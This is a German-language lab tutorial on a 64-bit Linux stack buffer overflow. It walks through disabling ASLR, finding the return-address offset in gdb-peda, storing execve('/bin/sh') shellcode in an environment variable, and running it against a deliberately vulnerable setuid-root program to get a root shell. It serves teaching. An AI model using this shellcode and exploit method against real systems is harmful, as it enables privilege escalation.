Buffer Overflow im 64-Bit Stack - Teil 1

In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.1

Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier2

Abhängigkeiten

bof-64-1.jpg

Was wird benötigt?

  • Kali Linux (oder andere Distri)

  • GDB Debugger

  • gdb-peda

  • gcc Compiler

gdb-peda Exploit Tools

gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.3

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

ASLR deaktivieren

ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Programm

Quellcode und kompilierte Binaries findet Ihr auch auf meinem github repository

// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
 
#include <stdio.h>
#include <unistd.h>
 
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}
 
int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}

Kompilieren

gcc -fno-stack-protector -z execstack bof.c -o bof

RIP Register

Interessant für uns ist das Register RIP. Dieses enthält eine Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst müssen wir herausfinden, wie wir dies machen können.

Wir starten unser Programm im Debugger und generieren einen 200 Zeichen langen String:

gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin

Bytes berechnen

Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird?

pattern_offset A7AAMAAiA
Found at Offset 104

104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir generieren 104 Zeichen und eine canonical return adress. Hierzu müssen wir unsere Pseudo-Adresse 0x414141414141 ins canonical address format konvertieren, indem wir 2 hohe Bytes anhängen:

0x0000414141414141

Das wandeln wir in Shellcode um:

\x41\x41\x41\x41\x41\x41\x00\x00

In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.4

Debuggen

Also Debuggen wir nun erneut, mit den herausgefundenen Parametern

python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin

Exploit

Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen.

== Shellcode platzieren ==

Der Shellcode5 wird in einer Umgebungsvariable abgelegt

export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`

Variable im Stack finden

GetEnvVar

// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
    char *ptr;
 
    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}

Kompilieren

gcc getenvar.c -o getenvar

Ausführen

./getenvar PWN ./bof

Die Adresse der Umgebungsvariable ist 0x7fffffffef9e, dies entspricht der canonical address 0x00007fffffffef9e´. Unser Shellcode entspräche nun:

\x9e\xef\xff\xff\xff\x7f\x00\x00

Angriff

Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese6

sudo chown root bof
sudo chmod 4755 bof
./bof

Nun können wir den Buffer-Overflow ausführen:

(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof

classDiagram
      note for Buffer "Overwrite Buffer"
      note for RBP "Overwrite RBP"
      note for RIP "place return address"
      Buffer --> RBP
      RBP --> RIP
      RIP --> 0x00007FFFFFFFC19F
      Buffer: AAAAAAAAAAAA
      RBP: BBBBBBBBBBBB
      RIP: 0x00007FFFFFFFC19F
      class 0x00007FFFFFFFC19F{
        Shellcode()
        root-Shell
      }

Repository

Projektdateiennosoc-repo-bof64.zip
Größe5,76 KB
Prüfsumme (SHA256)191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3

Footnotes

  1. https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow

  2. https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558

  3. https://github.com/longld/peda/blob/master/README

  4. https://en.wikipedia.org/wiki/Endianness

  5. http://shell-storm.org/shellcode/files/shellcode-77.html

  6. https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/